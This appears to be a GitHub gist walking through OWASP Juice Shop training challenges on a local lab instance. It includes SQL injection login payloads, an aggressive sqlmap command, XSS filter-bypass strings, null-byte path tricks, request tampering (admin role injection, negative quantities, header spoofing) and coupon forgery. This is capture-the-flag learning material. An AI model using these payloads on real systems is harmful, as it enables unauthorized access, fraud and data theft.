Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save tobystic/167cba5d7f1548b59463a4dd6898053e to your computer and use it in GitHub Desktop.
Save tobystic/167cba5d7f1548b59463a4dd6898053e to your computer and use it in GitHub Desktop.
OWASP Juice Shop Writeup

This is a write-up of steps that I've done with OWASP Juice Shop incrementally to solve some of the tasks.

Log in as an admin

Navigate to login form and submit Payload in both fields Payload: ' OR '1'='1' --

Finding privacy policy page

Navigate Profile => Privacy & Security => Privacy

Finding the score board

Navigate to obviously guesseable http://localhost:3000/#/score-board

Solve both XSS tasks

View other users basket

Navigate to basket whilst logged in as admin

Solve the cat picture task

URL Encode hashtag (#) to src="assets/public/images/uploads/😼-%23zatschi-%23whoneedsfourlegs-1572600969477.jpg" via DOM

Error handling challenge

  • Payload: ' OR '1'='1' --
  • Element: Image URL in User Profile

Payback time

Change the quantity of the product via Burp Suite interceptor {"quantity":-13333333333333337} and finish the task

Exposed metrics

Check Prometheus GitHub & navigate to http://localhost:3000/metrics/

Outdated whitelist

Check main.js and normalize the code, to find

showBitcoinQrCode() {
this.dialog.open(bn, {
data: {
data: 'bitcoin:1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm',
url: './redirect?to=https://blockchain.info/address/1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm',
address: '1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm',
title: 'TITLE_BITCOIN_ADDRESS'
}

DRY principle

Go to registration, enter woot@root.com as e-mail, fill in security question and enter 12345 as password and 12345 in repeat password. Then add 6 to the original password.

Login MC SafeSearch

Basically google what MC SafeSearch is (https://www.youtube.com/watch?v=v59CX2DiX0Y) and use mc.safesearch@juice-sh.op and Mr. N00dles

Security Policy

Visit http://localhost:3000/.well-known/security.txt

Accounting (pending)

Search for routerLink in main.js, find /accounting which gives 403 Result: NOT YET

Forged feedback

Customer Feedback with hidden input form and ID 3

Log-in as Bender & Jim

Remove disabled state from the login button and use bender@juice-sh.op'-- as the e-mail

Password strength

Login in as admin / admin123

Access to admin section

Found admin page @ http://localhost:3000/#/administration via main.js

Get rid of five star feedbacks

Delete two Five Star feedbacks via admin page

Confidential document

Use dirb to find localhost:3000/ftp/ and download acquisitions.md

Zero stars

Go to Customer Feedback, turn on Burps Intercept and make the rating:0

  • Result: 42["challenge solved",{"key":"zeroStarsChallenge","name":"Zero Stars","challenge":"Zero Stars (Give a devastating zero-star feedback to the store.)","flag":"e958569c4a12e3b97f38bd05cac3f0e5a1b17142","hidden":false}]

Whitelist bypass

Adding null-byte to http://localhost:3000/redirect?to=https://github.com/bkimminich/juice-shop, at the start of ?to=%00

SQL injection pending

scheme http
host localhost:3000
filename /rest/products/search
Parameter: q
  • Command: sqlmap -u "http://localhost:3000/rest/product/search?q='*" --threads=10 -o --level=5 --risk=3 --batch

=> FAILED, but had reflective values which points towards a non-false positive

Forgotten sales backup

http://localhost:3000/ftp/coupons_2013.md.bak => http://localhost:3000/ftp/coupons_2013.md.bak%2500.pdf

Upload a file larger than 100kB

Go to Complaint page and check for invoice pdf

head -c 99999 /dev/zero > juice.pdf - CANCEL
head -c 99999 /dev/urandom > juice.pdf - else can't see the contents in intercept
  • Smashing on keyboard for a moment on the attachment contents @ Burp Interceptor

Upload a file without pdf/zip extension

Use the same file as previous one, again intercept with Burp and change

Content-Disposition: form-data; name="file"; filename="juice.pdf"
=>
Content-Disposition: form-data; name="file"; filename="juice.js"

Forgotten dev backup, Weird Crypto

Get package.json.bak from /ftp/ directory and use snyk.io or npm install/audit to analyze it

Getting it unexpectedly solved the forgotten dev backup (%2500 same as sales backup way)

Sending that "z85": "~0.0" library in it through the feedback solved the Weird Crypto. (responsible disclosure)

Checking for vulnerabilities with npm, npm WARN deprecated jsonwebtoken@0.1.0: Critical vulnerability fix in v5.0.0.

  • Still have to figure out why it doesn't solve the task by sending as previous one

Admin Registration

Register a new user and with burp intercept just add "role":"admin" to register a user with admin privileges.

  • Result: 42["challenge solved",{"key":"registerAdminChallenge","name":"Admin Registration","challenge":"Admin Registration (Register as a user with administrator privileges.)","flag":"adf858a9828123061257cba29e3f34da87b23962","hidden":false}]

Easter Egg + Nested Easter Egg

eastere.gg contents (downloading it solves find the easter egg)

The coupons

https://cryptii.com/pipes/z85-encoder Copy paste the contents from:

┌─[root@null]─[/home/user/Downloads]
└──╼ #cat coupons_2013.md.bak 
n<MibgC7sn
mNYS#gC7sn
o*IVigC7sn
k#pDlgC7sn
o*I]pgC7sn
n(XRvgC7sn
n(XLtgC7sn
k#*AfgC7sn
q:<IqgC7sn
pEw8ogC7sn
pes[BgC7sn
l}6D$gC7ss

Getting decoded result of:

JAN13-10
FEB13-10
MAR13-10
APR13-10
MAY13-10
JUN13-10
JUL13-10
AUG13-10
SEP13-10
OCT13-10
NOV13-10

Encode SEP20-90, resulting in q:<IrfFbps and thus, the forged coupon code. (I must admit, it took longer than I'd want to admit till I understood that the suffix -10 is percentage amount, not the year - so yeah, (UPPERCASE MONTH/M)(YEAR/y)-(PERCENTAGE))

CISO

Changing

POST /api/Users/ HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 123
Origin: http://127.0.0.1:3000
DNT: 1
Connection: close
Referer: http://127.0.0.1:3000/
Cookie: io=fI6o2id5Fyc_Ll9aAAAV; language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss

{"email":"xyz@gmail.com","password":"XyZ","passwordRepeat":"XyZ"}

NOR

POST /rest/user/login HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 88
Origin: http://127.0.0.1:3000
DNT: 1
Connection: close
Referer: http://127.0.0.1:3000/
Cookie: io=M9jl2ik5AH464sXZAAAX; language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss

{"email":"xyz@gmail.com","password":"XyZ","oauth":true}

The "xyz@gmail.com" doesn't solve the challenge, must be something else between these requests.

https://cloud.google.com/iap/docs/identity-howto => Adding "X-User-Email" header with the value of ciso@juice-sh.op succeeds.

Misplaced Signature File

CAPTCHA Bypass

POST /api/Feedbacks/ HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6NSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImNpc29AanVpY2Utc2gub3AiLCJwYXNzd29yZCI6Ijg2MTkxN2Q1ZmE1ZjExNzJmOTMxZGM3MDBkODFhOGZiIiwicm9sZSI6ImRlbHV4ZSIsImRlbHV4ZVRva2VuIjoiZDcxNWMyYzc1ZDRhNDJkMzgyNWEwNTBlMGEwMTYzYzE5NTliNTExNjUzNzNmMTdiZDhlZWQ3YjFlMDViZjIwZCIsImxhc3RMb2dpbklwIjoiMC4wLjAuMCIsInByb2ZpbGVJbWFnZSI6ImFzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdC5zdmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjAtMDktMDRUMDc6NTM6MTkuNjExWiIsInVwZGF0ZWRBdCI6IjIwMjAtMDktMDRUMDc6NTM6MTkuNjExWiIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTU5OTIxMzY0OCwiZXhwIjoxNTk5MjMxNjQ4fQ.fPIrfGpNwBEjo_vjqz3YaPWVcrn949enErWSYceEBwJ5KfbMsPtZnGXfjMIbgeUacBxZe9sV9PbCkO_nLN4eqZwWQ15cGRjAVhw6q4ZXGdr6GfndNaRVmjDc7nJl2BAI8RXADwF79KSqh6Xfnnqp5squrfcfmGhfEFijrFXsyto
Content-Type: application/json
Content-Length: 94
Origin: http://127.0.0.1:3000
DNT: 1
Connection: close
Referer: http://127.0.0.1:3000/
Cookie: io=8gMTKMLzhcUdzX0uAAAc; language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6NSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImNpc29AanVpY2Utc2gub3AiLCJwYXNzd29yZCI6Ijg2MTkxN2Q1ZmE1ZjExNzJmOTMxZGM3MDBkODFhOGZiIiwicm9sZSI6ImRlbHV4ZSIsImRlbHV4ZVRva2VuIjoiZDcxNWMyYzc1ZDRhNDJkMzgyNWEwNTBlMGEwMTYzYzE5NTliNTExNjUzNzNmMTdiZDhlZWQ3YjFlMDViZjIwZCIsImxhc3RMb2dpbklwIjoiMC4wLjAuMCIsInByb2ZpbGVJbWFnZSI6ImFzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdC5zdmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjAtMDktMDRUMDc6NTM6MTkuNjExWiIsInVwZGF0ZWRBdCI6IjIwMjAtMDktMDRUMDc6NTM6MTkuNjExWiIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTU5OTIxMzY0OCwiZXhwIjoxNTk5MjMxNjQ4fQ.fPIrfGpNwBEjo_vjqz3YaPWVcrn949enErWSYceEBwJ5KfbMsPtZnGXfjMIbgeUacBxZe9sV9PbCkO_nLN4eqZwWQ15cGRjAVhw6q4ZXGdr6GfndNaRVmjDc7nJl2BAI8RXADwF79KSqh6Xfnnqp5squrfcfmGhfEFijrFXsyto; continueCode=75hDt2U1H6t8TQFWi5fOHJupijSNHrKubbhl1IzaCv2fzvS1LUXZunrINWUQ7H45H1Zt9efwBU82ULOt8VuqRT9b

{"UserId":5,"captchaId":9,"captcha":"34","comment":"Floooooood (***o@juice-sh.op)","rating":1}

In the Burps Repeater and click Send as fast as you can.

Deprecated Interface

From main-es2015.js

this.uploader = new ra.c({
url: './file-upload',
authToken: `Bearer ${localStorage.getItem('token')
}
`, allowedMimeType: [
'application/pdf',
'application/xml',
'text/xml',
'application/zip',
'application/x-zip-compressed',
'multipart/x-zip'
], maxFileSize: 100000
}),

We can see that XML is also an allowed mimetype. Do touch whatever.xml and in Complaint page, in File Upload change to "All files" and upload the whatever.xml file.

Privacy Policy Inspection

Everything to do with class="hot" elements, which being melted together makes: http://127.0.0.1 We may also instruct you to refuse all reasonably necessary responsibility And guess what, http://127.0.0.1:3000/We/may/also/instruct/you/to/refuse/all/reasonably/necessary/responsibility actually worked.

NOTES

  • http://localhost:3000/ftp/coupons_2013.md.bak could be used for the 80% coupon code
  • <<script>alert("TESTING");</script>script>alert("TESTING");<</script>/script> goes through in search bar, whilst <script>alert("TESTING");</script> would output blank search results title
  • GET /assets/i18n/en.json HTTP/1.1 could be wordlisted to retrieve the un-deployed language package
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment